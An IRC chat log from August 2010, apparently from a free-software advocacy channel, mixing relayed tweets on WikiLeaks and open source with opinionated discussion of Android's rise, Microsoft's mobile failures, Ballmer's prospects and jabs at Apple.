| oiaohm | schestowitz: the Afghan war is winnable but not using USA ways of doing things. | Aug 02 11:21 |
| -BNtwitter/#boycottnovell-[wikileaks] WikiLeaks and the Brit lies in Ireland | Guardian http://bit.ly/dA50aJ | Aug 02 11:21 | |
| -BNtwitter/#boycottnovell-[wikileaks] Legal bid against UK after Afghan leak | AFP http://bit.ly/c9HdCI | Aug 02 11:21 | |
| TechrightsBot | Title: WikiLeaks and British lies in Ireland | Gerry Adams | Comment is free | guardian.co.uk .::. Size~: 165.93 KB | Aug 02 11:21 |
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| schestowitz | The war is against a gang of extremists | Aug 02 11:21 |
| schestowitz | It's not against Afghanistan | Aug 02 11:21 |
| -BNtwitter/#boycottnovell-[wikileaks] Afghan defense minister: "It is good now that everyone knows about it." | AFP http://bit.ly/90TSO0 | Aug 02 11:22 | |
| TechrightsBot | Title: Leaked war files no surprise to Afghans .::. Size~: 80.33 KB | Aug 02 11:22 |
| schestowitz | jono... heh. http://www.itwire.com/opinion-and-analysis/open-sauce/40817-shuttleworth-and-bacon-should-forget-the-spin-and-deal-with-the-facts | Aug 02 11:24 |
| schestowitz | http://www.pcmag.com/article2/0,2817,2367202,00.asp | Aug 02 11:28 |
| TechrightsBot | Title: Why the Desktop Gets No Respect, and Should | John C. Dvorak | PCMag.com .::. Size~: 77.33 KB | Aug 02 11:28 |
| -BNtwitter/#boycottnovell-[wikileaks] The sooner NATO leaves, the better | Toronto Star http://bit.ly/aWEH0V | Aug 02 11:28 | |
| TechrightsBot | Title: Siddiqui: Afghanistan: It’s even worse than you thought - thestar.com .::. Size~: 82.2 KB | Aug 02 11:28 |
| -BNtwitter/#boycottnovell-[nsisodiya] Okey, then who is 'Sultan Mirza' for OpenSource ?? #robinhood | Aug 02 11:33 | |
| oiaohm | correct method train the locals good enough to deal with there own local problem schestowitz | Aug 02 11:35 |
| -BNtwitter/#boycottnovell-[glynmoody] The Golden Age of Open Source - http://bit.ly/cRB6dG refreshingly upbeat analysis (via opensourcerer @WeWebU) #opensource | Aug 02 11:40 | |
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| schestowitz | OOps. I pulled the plug by accident | Aug 02 11:49 |
| -BNtwitter/#boycottnovell-[schestowitz] No OS/DE looks better than #KDE 4 now: http://blog.martin-graesslin.com/blog/2010/08/beautiful-screenshots/ | Aug 02 12:04 | |
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| schestowitz | ' | Aug 02 12:24 |
| schestowitz | I was walking across a bridge one day, and I saw a software developer standing on the edge, about to jump off. I immediately ran over and said "Stop! Don't do it!" | Aug 02 12:24 |
| schestowitz | "Why shouldn't I?" he said. | Aug 02 12:24 |
| schestowitz | I said, "Well, there's so much to live for!" | Aug 02 12:24 |
| schestowitz | "Like what?" | Aug 02 12:24 |
| schestowitz | "Well ... do you develop free software or proprietary?" | Aug 02 12:24 |
| schestowitz | "Free." | Aug 02 12:24 |
| schestowitz | "Me too! Are you BSD or GPL?" | Aug 02 12:24 |
| schestowitz | "GPL." | Aug 02 12:24 |
| schestowitz | "Me too! Are you GPL v2 or GPL v3?" | Aug 02 12:24 |
| schestowitz | "GPL v3!" | Aug 02 12:24 |
| schestowitz | To which I said, "Die, heretic scum!" and pushed him off. | Aug 02 12:24 |
| schestowitz | ' | Aug 02 12:24 |
| Diablo-D3 | schestowitz: WTF | Aug 02 12:30 |
| Diablo-D3 | I just read that on slashdot | Aug 02 12:30 |
| Diablo-D3 | wtf | Aug 02 12:30 |
| -BNtwitter/#boycottnovell-[jwildeboer] RT @sixtus WikiLeaks jetzt auch flattrbar: http://tcrn.ch/9t7Hfd | Aug 02 12:31 | |
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| -BNtwitter/#boycottnovell-[schestowitz] I've favourited a YouTube video -- POP MOONWALK's WAL-MART http://youtu.be/gE1ZvCnwkYk?a | Aug 02 12:32 | |
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| -BNtwitter/#boycottnovell-[glynmoody] Plagiarism Lines Blur for Students in Digital Age - http://nyti.ms/bkNYiF as they should: time to end the demonisation of #copying #sharing | Aug 02 12:33 | |
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| -BNtwitter/#boycottnovell-[glynmoody] German ministries flout IT open interoperability requirements - http://bit.ly/cS1aAZ das ist nicht sehr fair #interoperability #odf | Aug 02 12:34 | |
| TechrightsBot | Title: German ministries flout IT open interoperability requirements .::. Size~: 6.85 KB | Aug 02 12:34 |
| -BNtwitter/#boycottnovell-[glynmoody] Man Who Claims Ownership Over Facebook Willing To Hire Zuckerberg To Run It - http://tcrn.ch/9OY4SI will make a great comedy film one day | Aug 02 12:37 | |
| TechrightsBot | Title: Man Who Claims Ownership Over Facebook Willing To Hire Zuckerberg To Run It .::. Size~: 47.59 KB | Aug 02 12:37 |
| -BNtwitter/#boycottnovell-[glynmoody] Open data and the voluntary sector - http://bit.ly/93MTGl great to see people starting to explore this #opendata #voluntarysector | Aug 02 12:39 | |
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| -BNtwitter/#boycottnovell-[schestowitz] Links 2/8/2010: Linux 2.6.35 Released, AppArmor in Linux 2.6.36 http://techrights.org/2010/08/02/apparmor-in-linux-2-6-36/ | Aug 02 12:41 | |
| TechrightsBot | Title: Links 2/8/2010: Linux 2.6.35 Released, AppArmor in Linux 2.6.36 | Techrights .::. Size~: 114.95 KB | Aug 02 12:41 |
| -BNtwitter/#boycottnovell-[glynmoody] $200 Textbook vs. Free. You Do the Math. - http://nyti.ms/bVqqtW "Curriki, an online hub for #free #textbooks and other course material" | Aug 02 12:42 | |
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| schestowitz | Diablo-D3: I got that by E-mail | Aug 02 12:47 |
| -BNtwitter/#boycottnovell-[glynmoody] Negative Equity in Underwater Homes - http://bit.ly/d0Fkd7 "The total negative equity is $771 billion." that's a lot of H20... #economics | Aug 02 12:47 | |
| TechrightsBot | Title: Marginal Revolution: Negative Equity in Underwater Homes .::. Size~: 39.46 KB | Aug 02 12:47 |
| Diablo-D3 | http://linux.slashdot.org/comments.pl?sid=1739756&cid=33106482 | Aug 02 12:48 |
| TechrightsBot | Title: Slashdot Comments | Linux Kernel 2.6.35 Released .::. Size~: 95.08 KB | Aug 02 12:48 |
| Diablo-D3 | schestowitz: ^ | Aug 02 12:48 |
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| -BNtwitter/#boycottnovell-[glynmoody] Handmade Models Of London Tube Stations - http://bit.ly/aNuMYn the unbearable melancholy of model tube stations #london | Aug 02 12:59 | |
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| MinceR | http://cheezcomixed.files.wordpress.com/2010/07/76c7e97c-f921-4fca-91cc-7633809a79ef.jpg | Aug 02 13:00 |
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| -BNtwitter/#boycottnovell-[glynmoody] Garbage islands threaten China's Three Gorges dam - http://bit.ly/9Kfb9K "in places so think people can stand on it" #china #pollution | Aug 02 13:04 | |
| TechrightsBot | Title: Garbage islands threaten China's Three Gorges dam-ET Cetera-News By Industry-News-The Economic Times .::. Size~: 52.59 KB | Aug 02 13:04 |
| -BNtwitter/#boycottnovell-[schestowitz] Greg DeKoenigsber Backtracks in Case of Canonical Critique http://ur1.ca/0ze49 #ubuntu #gnu #linux #redhat | Aug 02 13:17 | |
| TechrightsBot | Title: Greg DeKoenigsber Backtracks in Case of Canonical Critique | Techrights .::. Size~: 78.43 KB | Aug 02 13:17 |
| -BNtwitter/#boycottnovell-[jwildeboer] ♺ @andyc: My wife asked about WikiLeaks last night. Sort of. 'Have you heard of these people typing classified documents into Wikipedia ?' | Aug 02 13:27 | |
| -BNtwitter/#boycottnovell-[schestowitz] #Novell hires one of KDE’s marketing public faces http://techrights.org/2010/08/02/opensuse-hire/ #suse #opensuse #marketing | Aug 02 13:29 | |
| TechrightsBot | Title: Jos Poortvliet Joins Novell as Staff | Techrights .::. Size~: 75.39 KB | Aug 02 13:29 |
| MinceR | i have a bad feeling about this | Aug 02 13:31 |
| -BNtwitter/#boycottnovell-[glynmoody] Is The "Open Source Bubble" Over? - http://bit.ly/dil8n9 thought provoking: I wonder how it will be received #opensource (via @danicar) | Aug 02 14:10 | |
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| schestowitz | http://identi.ca/conversation/44473458#notice-44793113 "the battle between !linux distributions is inofficious" | Aug 02 14:13 |
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| -BNtwitter/#boycottnovell-[schestowitz] @glynmoody ASHLEE VANCE: "leaving Mr. McNealy without a job." > but he didn't work there anymore #nyt #fail | Aug 02 14:27 | |
| -BNtwitter/#boycottnovell-[glynmoody] @schestowitz well, he was chairman of the board: doesn't that count? | Aug 02 14:31 | |
| -BNtwitter/#boycottnovell-[schestowitz] @glynmoody I know, but not full-time job AFAIK. He had already moved on to books. | Aug 02 14:33 | |
| -BNtwitter/#boycottnovell-[glynmoody] @schestowitz could have been clearer, but probably not a major fail... | Aug 02 14:34 | |
| -BNtwitter/#boycottnovell-[schestowitz] @glynmoody his last article misquoted O'Reilly or put that out of context. It's a pattern. Vance also did this in El Reg. | Aug 02 14:36 | |
| -BNtwitter/#boycottnovell-[schestowitz] @glynmoody His style is just not suitable for #nyt level. He makes Scott look like some unemployed git. | Aug 02 14:38 | |
| -BNtwitter/#boycottnovell-[schestowitz] @glynmoody See his article on Ubuntu (~2008) as well. It's not reporting, it's more like comedy. | Aug 02 14:38 | |
| -BNtwitter/#boycottnovell-[jwildeboer] I would say #insightful http://is.gd/dYiTb wrt #tribalism and other stuff. | Aug 02 14:39 | |
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| -BNtwitter/#boycottnovell-[glynmoody] @schestowitz nice description... | Aug 02 14:43 | |
| -BNtwitter/#boycottnovell-[schestowitz] RT @jwildeboer I would say #insightful http://is.gd/dYiTb wrt #tribalism and other stuff. | Aug 02 14:43 | |
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| -BNtwitter/#boycottnovell-[glynmoody] RT @newsbrooke Local council that spied on family 21 times over school catchment area has lost in court. http://bit.ly/c62SkY >>quite | Aug 02 14:45 | |
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| -BNtwitter/#boycottnovell-[jwildeboer] "none of them were 'Ubuntu' features at all, but made (typically) by Red Hat employees." - http://is.gd/dYjsd #tribalism #ubuntu | Aug 02 14:46 | |
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| -BNtwitter/#boycottnovell-[glynmoody] Microsoft to launch Office 2011 for Mac in October - http://bit.ly/9FWeRK so we can expect a GNU/Linux version soon, then? #msoffice #linux | Aug 02 14:49 | |
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| -BNtwitter/#boycottnovell-[glynmoody] Who gives a tweet? - http://bit.ly/cZIj9l "Get feedback from followers." er, I already do: isn't that what it's all about? (via @alexwied) | Aug 02 14:53 | |
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| -BNtwitter/#boycottnovell-[jwildeboer] Also #insightful http://is.gd/dYkjv It's not Red Hat v Canonical, it is "sharing by default" v "not invented here" IMHO. | Aug 02 14:54 | |
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| -BNtwitter/#boycottnovell-[schestowitz] #Apple ’s and #Microsoft ’s Robbery of Knowledge Using Patents, #i4i Case Might Reach #SCOTUS http://ur1.ca/0zewr #swpats #patents | Aug 02 15:13 | |
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| -BNtwitter/#boycottnovell-[glynmoody] Can Day Software Propel Adobe Towards a More Open Business Strategy? - http://bit.ly/cEokQV Nuxeo's @ebarroca dreams on #opensource | Aug 02 15:21 | |
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| -BNtwitter/#boycottnovell-[glynmoody] Can You Make Money from Open Source+Open Data? - http://bit.ly/a7BsCJ answers on the back of an (e-)postcard... #opendata #opensource | Aug 02 15:23 | |
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| -BNtwitter/#boycottnovell-[glynmoody] SAP warms to open source - http://bit.ly/ca3QQt that's good; now drop the support for EU software patents, please... #sap #swpats | Aug 02 15:26 | |
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| -BNtwitter/#boycottnovell-[einfeldt] RT @jwildeboer: "Android smart phone shipments grow 886% year-on-year in Q2 2010" http://is.gd/dXYyI #android now at 34% market share | Aug 02 15:45 | |
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| -BNtwitter/#boycottnovell-[jonobacon] Morning everyone! How are we today? | Aug 02 15:51 | |
| -BNtwitter/#boycottnovell-[jonobacon] gregdek...respect: http://is.gd/dYqdK and Mark's response: http://is.gd/dYqeP | Aug 02 15:57 | |
| -BNtwitter/#boycottnovell-[davidgerard] I'll get an iPhone when it can do this. http://www.youtube.com/watch?v=b5b9BIBuOd4 | Aug 02 15:57 | |
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| -BNtwitter/#boycottnovell-[glynmoody] Android Sales Overtake iPhone in the U.S. - http://bit.ly/bzmA9m just look at that graph #android #iphone #us | Aug 02 16:11 | |
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| -BNtwitter/#boycottnovell-[glynmoody] NAMCO Demands Takedown Of Pacman Game Created By Kid Using MIT's Scratch Programming Language - http://bit.ly/9NFHpC terrible threat to co. | Aug 02 16:14 | |
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| -BNtwitter/#boycottnovell-[fsmag] !Android is great but what if the hardware it runs on isn't free? http://fsmsh.com/3371 !fmag !freesoftware !htc | Aug 02 16:15 | |
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| -BNtwitter/#boycottnovell-[glynmoody] Donate Books, Help African School Kids - http://bit.ly/9sCC3G it's good to share (only in London, alas) #books #africa | Aug 02 16:16 | |
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| -BNtwitter/#boycottnovell-[glynmoody] the future of the app - http://bit.ly/aJ7qW0 er, apps are evil, actually: que la bête meure... #apps #html5 | Aug 02 16:20 | |
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| -BNtwitter/#boycottnovell-[fsmag] Crimperman's Debian dog takes criticism to heart and has donned his #Fedora hat to nswer his critics #freesoftware #fsmag #cartoons | Aug 02 16:26 | |
| -BNtwitter/#boycottnovell-[fsmag] Crimperman's Debian dog takes criticism to heart and has donned his #Fedora hat to answer his critics. http://fsmsh.com/3374 #freesoftware | Aug 02 16:28 | |
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| -BNtwitter/#boycottnovell-[schestowitz] RT @einfeldt @jwildeboer: "Android smart phone shipments grow 886% year-on-year in Q2 2010" http://is.gd/dXYyI #android now at 34% market.. | Aug 02 16:45 | |
| -BNtwitter/#boycottnovell-[fsmag] If you're confused by !FOSS jargon Terry Hancock has a guide for the perplexed at #fsmag: http://fsmsh.com/3360 and http://fsmsh.com/3362 | Aug 02 16:45 | |
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| -BNtwitter/#boycottnovell-[schestowitz] I've favourited a YouTube video -- ARM Powered Android LEGO MultiCuber 777 http://youtu.be/b5b9BIBuOd4?a | Aug 02 16:46 | |
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| schestowitz | http://identi.ca/conversation/44473458#notice-44806169 "@schestowitz i don't think that he backtracked on Canonical contribution, he reaffirmed position while apologizing for manner of criticism" | Aug 02 16:47 |
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| -BNtwitter/#boycottnovell-[rcweir] I've created a corpus of over 3 million tweets, random sample from public tweets Dec 2009 to today. Any ideas what to do with them? | Aug 02 16:47 | |
| -BNtwitter/#boycottnovell-[jwildeboer] ""Microsoft built [IE8] so that users must deliberately turn on privacy settings every time they start up the software." http://is.gd/dYv2j | Aug 02 16:52 | |
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| schestowitz | Advetisers first, customers later | Aug 02 17:23 |
| -BNtwitter/#boycottnovell-[wikileaks] The huge scale of Pakistan's complicity | Globe and mail http://bit.ly/ahkWvq | Aug 02 17:28 | |
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| -BNtwitter/#boycottnovell-[schestowitz] Financial Situation at Microsoft: An Opener http://ur1.ca/0zfzd #Pequot #fraud #finance #accounting | Aug 02 17:31 | |
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| -BNtwitter/#boycottnovell-[wikileaks] More on WikiLeaks airport detainment. http://bit.ly/bYJ7FB SAY NO http://wikileaks.org/wiki/Special:Support | Aug 02 17:48 | |
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| -BNtwitter/#boycottnovell-[wikileaks] Free speech isn't free! Keep WikiLeaks strong! http://wikileaks.org/wiki/Special:Support | Aug 02 17:50 | |
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| schestowitz | http://280.status.net/notice/314438 "haven't read it, but "tribal" is related to diversity and p2p, and fighting it is to make things top-down or hierarchal, so if mark thinks he's anti-tribal, he's just trying to build another pyramid, most likely with him on top" | Aug 02 18:01 |
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| schestowitz | Linux got that done too | Aug 02 18:01 |
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| -BNtwitter/#boycottnovell-[glynmoody] Department Of Outlandish Ideas: Build Solar Roadways - http://tcrn.ch/9Utu4t cool #solarpower #energy #roads | Aug 02 18:19 | |
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| -BNtwitter/#boycottnovell-[schestowitz] Why Microsoft’s Mobile Business Collapsed and There is No Future Haven For It, Either http://ur1.ca/0zgjp #kin #microsoft #windows | Aug 02 18:23 | |
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| Chips_B_Malroy | Hi everyone! | Aug 02 18:26 |
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| Chips_B_Malroy | Why has Microsoft failed so badly at Mobile phones (CE) and Tablets? Windows Seven desktop is a power hog, it will never run long on tablets, using up all sorts of extra CPU cycles with all its DRM checks. | Aug 02 18:28 |
| Chips_B_Malroy | Also, it should be clear, that CE cannot be sold anymore, as MS is competing against free software that is well written. Google Android uses a linux kernel. | Aug 02 18:29 |
| _Goblin | Hi Chips! | Aug 02 18:30 |
| Chips_B_Malroy | Google has already won the battle on the Mobile market. http://techcrunch.com/2010/07/29/google-mobile-search-market-share/ check out the amazing graph on this link! | Aug 02 18:30 |
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| amd-linux | Not sure if this was already disscussed, but Android seems to have taken over the pole position in the US on smartphones already: | Aug 02 18:30 |
| Chips_B_Malroy | Hi Goblin | Aug 02 18:31 |
| amd-linux | http://canalys.com/pr/2010/r2010081.html | Aug 02 18:31 |
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| amd-linux | Android now has 34% of US market - amazing, if true | Aug 02 18:31 |
| _Goblin | Android = more freedom than Apple or anything else...customization is what drives the desire for the new smart phones...its no surprise. | Aug 02 18:32 |
| Chips_B_Malroy | check that link, its more than that | Aug 02 18:32 |
| Chips_B_Malroy | Techcrunch has a few good articles, will have to add them to my links | Aug 02 18:33 |
| -BNtwitter/#boycottnovell-[glynmoody] From journalists to interpreters - is data changing the way we work? - http://bit.ly/9wkPaP great question, great post #opendata #journalism | Aug 02 18:33 | |
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| -BNtwitter/#boycottnovell-[glynmoody] Hey NY Times: Can You Back Up The Claim Of $200 Billion Lost To Counterfeiting? - http://bit.ly/dwOLr5 so much for the journal of record | Aug 02 18:34 | |
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| Chips_B_Malroy | http://www.businessinsider.com/bill-gates-will-fire-steve-ballmer-2010-7 | Aug 02 18:34 |
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| -BNtwitter/#boycottnovell-[glynmoody] Britain must get serious about protecting its intellectual property - http://bit.ly/9WpwJ0 creative industries flourishing, so hardly needed | Aug 02 18:35 | |
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| Chips_B_Malroy | I believed this is true. Gates, Ballmer, and his buddies, probably control 20% of the voting stock. It would be hard to get rid of Ballmer as long as his friends remain loyal. | Aug 02 18:36 |
| Chips_B_Malroy | However, Ballmer is clearly incompendant. | Aug 02 18:36 |
| Chips_B_Malroy | Everyone seems to understand that now, with the exception of Gates maybe. | Aug 02 18:37 |
| Chips_B_Malroy | So my opinion here, is Ballmer will be forced out (resign) sometime after Xmas, if Windows Seven Phone is the big failure we expect it to be, and Office does not generate revenue. | Aug 02 18:38 |
| Chips_B_Malroy | While we should want Ballmer to stay at the helm of the sinking ship, as long as possible, there is some good to come out of this, if he leaves. The next CEO will probably abandon most of the failing products, and only concentrate on Windows and Office. | Aug 02 18:40 |
| _Goblin | Chips_B_Malroy: I don't think he will...not yet...I think they will not want to loose any more investor confidence, especially with the launch of Windows 7 Mobile....they (IMO) will wait until the phone has settled in, then change....I think any major changes now would only damage further the chances of sucess this year. | Aug 02 18:40 |
| Chips_B_Malroy | Goblin>agreed | Aug 02 18:41 |
| Chips_B_Malroy | after the release of WP7 and the holiday seasons | Aug 02 18:41 |
| _Goblin | but whenever Ballmer leaves its win win for him.... | Aug 02 18:41 |
| _Goblin | I don't expect he will go with merely a handshake and a parker pen. | Aug 02 18:42 |
| Chips_B_Malroy | he already has 14 or 16 billion in net worth | Aug 02 18:42 |
| _Goblin | and just like when Gordon Brown took over from Tony Blair.....Microsoft is a poison challace for whoever steps up to the mark. | Aug 02 18:42 |
| Chips_B_Malroy | The more he gets from MS to leave, the weaker he leaves MS | Aug 02 18:42 |
| Chips_B_Malroy | Gates will not want it, IMO. But might do it short term. | Aug 02 18:43 |
| _Goblin | I can't think who has the personality to take the company into the future..... | Aug 02 18:44 |
| Chips_B_Malroy | There will be little difference between MS run by Ballmer and Gates. Except the meanness and efficency could be higher with Gates. | Aug 02 18:44 |
| Chips_B_Malroy | MS needs someone who will actually fix the long term problems of its products. Like Malware for example. Its why Apple can sell a computer for 3x the price using virtually the same intel hardware. | Aug 02 18:46 |
| Chips_B_Malroy | Ballmer has stuck out his neck by taking personal control of the Mobile line | Aug 02 18:47 |
| Chips_B_Malroy | If WP7 fails, he fails now. | Aug 02 18:47 |
| Chips_B_Malroy | Turmoil at Redmond, is not entirely a bad thing; I always said that one of my points was I wanted MS to fix the malware security problems of windows. If they do this, which is needed, if they want to keep market share, many windows users will be some better off. I figure, at least 20% of windows users will never change to something else. | Aug 02 18:51 |
| -BNtwitter/#boycottnovell-[glynmoody] El Pueblo Unido... - http://bit.ly/bWrpHQ are less likely to be falsely accused by the police #video #policing #uk | Aug 02 18:51 | |
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| Chips_B_Malroy | Goblin> no doubt I made that point a few times on MS Watch | Aug 02 18:52 |
| -BNtwitter/#boycottnovell-[glynmoody] FT chief sees paywalls as 'morally' necessary to protect journalism - http://bit.ly/bWrpHQ good takedown of lazy argument #newspapers | Aug 02 18:54 | |
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| Chips_B_Malroy | From the TechCrunch link: "Google currently boasts a mobile search market share of 98.29%, with it closest competitor Yahoo taking up just over 0.8% of market share and Microsoft?s Bing barely touching even half that, according to recent data from StatCounter as relayed by Pingdom." | Aug 02 18:55 |
| Chips_B_Malroy | "As you can tell from the graph, put together using global visitor stats for more than three million websites, Google?s near-100% piece of the mobile search pie is even a good deal larger than their still impressive share of the overall search engine market. Note that the red bars represent non-mobile search market share, not a combination of both." | Aug 02 18:57 |
| Chips_B_Malroy | The is not a USA only graph | Aug 02 18:57 |
| Chips_B_Malroy | A sane CEO of MS would realize that it cannot compete with Google on search or Mobile. And MS can only pour more money down the drain trying to do so. | Aug 02 18:59 |
| Chips_B_Malroy | I don't actually know anyone that uses Bing. | Aug 02 19:00 |
| _Goblin | its going to need someone with personality, sincerity and a fixed business plan......MS need to loose the sinister image, admit defeat and start an new era of openness. | Aug 02 19:00 |
| Chips_B_Malroy | Yes Goblin, but they won't hire you or me to run it. | Aug 02 19:01 |
| Chips_B_Malroy | at least not me. | Aug 02 19:01 |
| amd-linux | the longer Ballmer stays, the better for FOSS - he will digg MS even deeper in its hole. | Aug 02 19:01 |
| Chips_B_Malroy | agreed | Aug 02 19:01 |
| amd-linux | Dont think that MS without Ballmer will be less evil as long as his puppet master has anything to say | Aug 02 19:02 |
| Chips_B_Malroy | This is more of an effort of looking into the cystal ball and seeing what the future would be. | Aug 02 19:02 |
| amd-linux | and this is still Gates who hates FOSS as we know from MS beginnings | Aug 02 19:02 |
| Chips_B_Malroy | yes, Ballmer is only the apprentise | Aug 02 19:02 |
| Chips_B_Malroy | Gates hates anything that doesn't give him all the marbles | Aug 02 19:03 |
| amd-linux | Ballmer is stuck in his old world, as lomg he is in charge, MS will be no competitive threat to anyone | Aug 02 19:03 |
| -BNtwitter/#boycottnovell-[glynmoody] Patent Litigation Weekly: Data Shows That Troll Problem Persists - http://bit.ly/b4Els9 surprise! (via @patentlyo @davidaop) #trolls | Aug 02 19:04 | |
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| amd-linux | so this is basically a win-win situation for the FOSS camp - Ballmer being fired will be seen as a deafeat, but Ballmer staying will drive MS even deeper in its mess | Aug 02 19:05 |
| Chips_B_Malroy | Gates and Ballmer run MS like they were still releasing MSDOS versions. People would put up with the bugs back then, computer and Dos were kind of new, its was to be expected. But not anymore. MS releases Windows (vista) full of bugs, and thought it would not be a problem. | Aug 02 19:06 |
| Chips_B_Malroy | That is the mindset at the top of MS | Aug 02 19:06 |
| -BNtwitter/#boycottnovell-[glynmoody] [correct URL] FT chief sees paywalls as 'morally' necessary to protect journalism - http://bit.ly/b9YfLc good takedown of lazy argument | Aug 02 19:06 | |
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| Chips_B_Malroy | Is it any wonder the Kin did not work? Is it any wonder, that Ballmer is already saying not to expect too much from WP7? | Aug 02 19:07 |
| Chips_B_Malroy | This is not 1995, its 16 years into the future and Windows is still a malware target. Cellphones users will not give MS the same monopoly to put Windows CE Malware target on that. | Aug 02 19:08 |
| -BNtwitter/#boycottnovell-[wikileaks] WaPo calls for kidnapping on EU soil to destroy WikiLeaks http://bit.ly/bsJeCW STOP THEM: http://bit.ly/cpxJWC | Aug 02 19:09 | |
| Chips_B_Malroy | 16 years have passed since W95 and MS has failed to fix the sercurity of Windows. | Aug 02 19:09 |
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| Chips_B_Malroy | And Windows 8 will be based on the same model | Aug 02 19:10 |
| Chips_B_Malroy | Malware and Botnets, that is the Gates legacy. | Aug 02 19:11 |
| -BNtwitter/#boycottnovell-[glynmoody] WikiLeaks must be stopped - http://bit.ly/acVVQv "US can arrest Assange on [EU] territory without their knowledge or approval": er, pardon? | Aug 02 19:16 | |
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| schestowitz | Hi, Chips_B_Malroy | Aug 02 19:24 |
| schestowitz | hi, _Goblin :-) | Aug 02 19:25 |
| schestowitz | Just to let you know, the other problem is no longer here after I dared to disagree with conspiracy theories | Aug 02 19:26 |
| schestowitz | [18:30] <Chips_B_Malroy> Google has already won the battle on the Mobile market. http://techcrunch.com/2010/07/29/google-mobile-search-market-share/ check out the amazing graph on this link! | Aug 02 19:27 |
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| schestowitz | Yeah, I'm writing about this at the moment (another very long post) | Aug 02 19:27 |
| Chips_B_Malroy | Hi Roy | Aug 02 19:29 |
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| schestowitz | [18:59] <Chips_B_Malroy> A sane CEO of MS would realize that it cannot compete with Google on search or Mobile. And MS can only pour more money down the drain trying to do so. | Aug 02 19:34 |
| schestowitz | They can't | Aug 02 19:34 |
| schestowitz | This way Android goes up the scale (tablets, PCs, Chrome OS maybe come in here) | Aug 02 19:35 |
| schestowitz | And with those whole Fog Computing hype the margins of Windows and Office will be cut too thin | Aug 02 19:35 |
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| Chips_B_Malroy | yes, I don't see a way for MS to make money on phones right off. Who will pay for CE based OS, when Droid is better and free. | Aug 02 19:38 |
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| schestowitz | Nobody will be for Vista Phone 7 | Aug 02 19:39 |
| schestowitz | The phone makers won't touch it either, unless compensated | Aug 02 19:39 |
| schestowitz | it's seen as too risky | Aug 02 19:39 |
| schestowitz | Verizon got burned by KIN | Aug 02 19:39 |
| schestowitz | T-mobile got bruised eternally by SideKIN | Aug 02 19:39 |
| schestowitz | ANd dumped it a couple of months ago for good | Aug 02 19:40 |
| Chips_B_Malroy | even Apple did not put Bing on it's Iphone | Aug 02 19:41 |
| Chips_B_Malroy | it had to be tempting for Apple to take MS cash to do that too. But how many people would not buy an Iphone if Apple did that? | Aug 02 19:42 |
| Chips_B_Malroy | Cost cutting (layoffs) are now the norm at Microsoft, even with a supposedly good quarter, MS has a layoff. By cutting costs, Ballmer can show greatly profit next quarter, he hopes. If MS Office contines to sell badly, and WP7 fails, once past the Xmas season, heads will roll at Redmond. | Aug 02 19:48 |
| -BNtwitter/#boycottnovell-[wikileaks] Former Bush speech writer calls for destruction of free speech laws to better destroy WikiLeaks http://bit.ly/8Y0Abw | Aug 02 19:48 | |
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| Chips_B_Malroy | Shame on Ballmer http://erictric.com/2010/08/02/steve-ballmer-discusses-android-competition/ | Aug 02 19:50 |
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| Chips_B_Malroy | quote Ballmer: ?If with the application base, with the tools that we have, with the user understanding and momentum and everything going on, we can?t compete with?whatever the weird collection of Android machines is going to look like, shame on us.? | Aug 02 19:51 |
| Chips_B_Malroy | Ballmer was worth a few laughs, in some ways we will miss him. | Aug 02 19:52 |
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| MinceR | 203502 < Chips_B_Malroy> it had to be tempting for Apple to take MS cash to do that too. But how many people would not buy an Iphone if Apple did that? | Aug 02 19:55 |
| MinceR | none | Aug 02 19:55 |
| MinceR | they buy any piece of turd with a crApple logo | Aug 02 19:55 |
| Chips_B_Malroy | Not so sure. Even Apple users mostly dislike MS. But Bing, I think most people will not be forced to use it. | Aug 02 19:57 |
| MinceR | they buy anything they dislike as long as it has a crApple logo | Aug 02 19:57 |
| Chips_B_Malroy | I don't know anyone who uses Bing at all. And this is in the USA where Bing is supposed to be its strongest | Aug 02 19:58 |
| MinceR | or even better, crApple putting bing-o in there would make the crApple cult immediately love bing-o | Aug 02 19:58 |
| Chips_B_Malroy | no, it wouldn't | Aug 02 19:58 |
| MinceR | they would suddenly decide that it's the best search engine ever and it always way | Aug 02 19:58 |
| MinceR | don't underestimate the zealotry of crApple fanboys | Aug 02 19:58 |
| Chips_B_Malroy | it would actually become defective for some Apple users to buy | Aug 02 19:58 |
| MinceR | they've thrown away reason long ago | Aug 02 19:58 |
| Chips_B_Malroy | They are not all without reason | Aug 02 19:59 |
| MinceR | all crApple products ever have been severely defective, at least for about 30 years already | Aug 02 19:59 |
| MinceR | does this impede the fanboys in buying them all and filling the Internet with stupid bullshit? no. | Aug 02 19:59 |
| Chips_B_Malroy | defective, some. Overpriced, yes | Aug 02 19:59 |
| Chips_B_Malroy | Lisa was defective | Aug 02 19:59 |
| MinceR | crApple III was defective | Aug 02 20:00 |
| MinceR | all versions of macos are defective | Aug 02 20:00 |
| MinceR | most of their gimmicks are also defective | Aug 02 20:00 |
| schestowitz |  | Aug 02 20:00 |
| schestowitz | [19:41] <Chips_B_Malroy> even Apple did not put Bing on it's Iphone | Aug 02 20:00 |
| schestowitz | It alienates the users | Aug 02 20:00 |
| MinceR | (MagUnsafe connector, the stupid mouse that pretends a right click if you touch it somewhere, smoking hypeMacs, etc.) | Aug 02 20:00 |
| schestowitz | "Who put a *****ing Bong in my phone?" | Aug 02 20:00 |
| MinceR | schestowitz: "Steve Jobs." "Oh. Bing is the bestest forever!" | Aug 02 20:01 |
| MinceR | if crApple officially forced bing-o on their users, that would provide the greatest possible boost to the bing-o market share | Aug 02 20:01 |
| Chips_B_Malroy | Its one thing if Ballmer goes, but its more likely that Jobs will go first. And that has bigger ramifacations than Ballmer leaving | Aug 02 20:01 |
| MinceR | because Blow will go along with his liver? | Aug 02 20:02 |
| Chips_B_Malroy | Jobs clearly has his share of health problems, yes. | Aug 02 20:02 |
| MinceR | also, crApple and m$ have been stuck together since the beginning | Aug 02 20:02 |
| MinceR | they pretend to hate each other, but it's a very shallow pretense | Aug 02 20:02 |
| MinceR | m$ used to own part of crApple and they advertised it | Aug 02 20:02 |
| MinceR | maybe they still own it | Aug 02 20:03 |
| Chips_B_Malroy | But Jobs is the guy with even more greed than Gates, overcharging | Aug 02 20:03 |
| MinceR | and of course they're staunch allies against freedom (for DRM and sw patents and against Free Software) | Aug 02 20:03 |
| schestowitz | Hey, transplants *Are* pricey! | Aug 02 20:03 |
| -BNtwitter/#boycottnovell-[schestowitz] RT @wikileaks Former Bush speech writer calls for destruction of free speech laws to better destroy WikiLeaks http://bit.ly/8Y0Abw | Aug 02 20:03 | |
| MinceR | schestowitz: especially crApple brand transplants | Aug 02 20:03 |
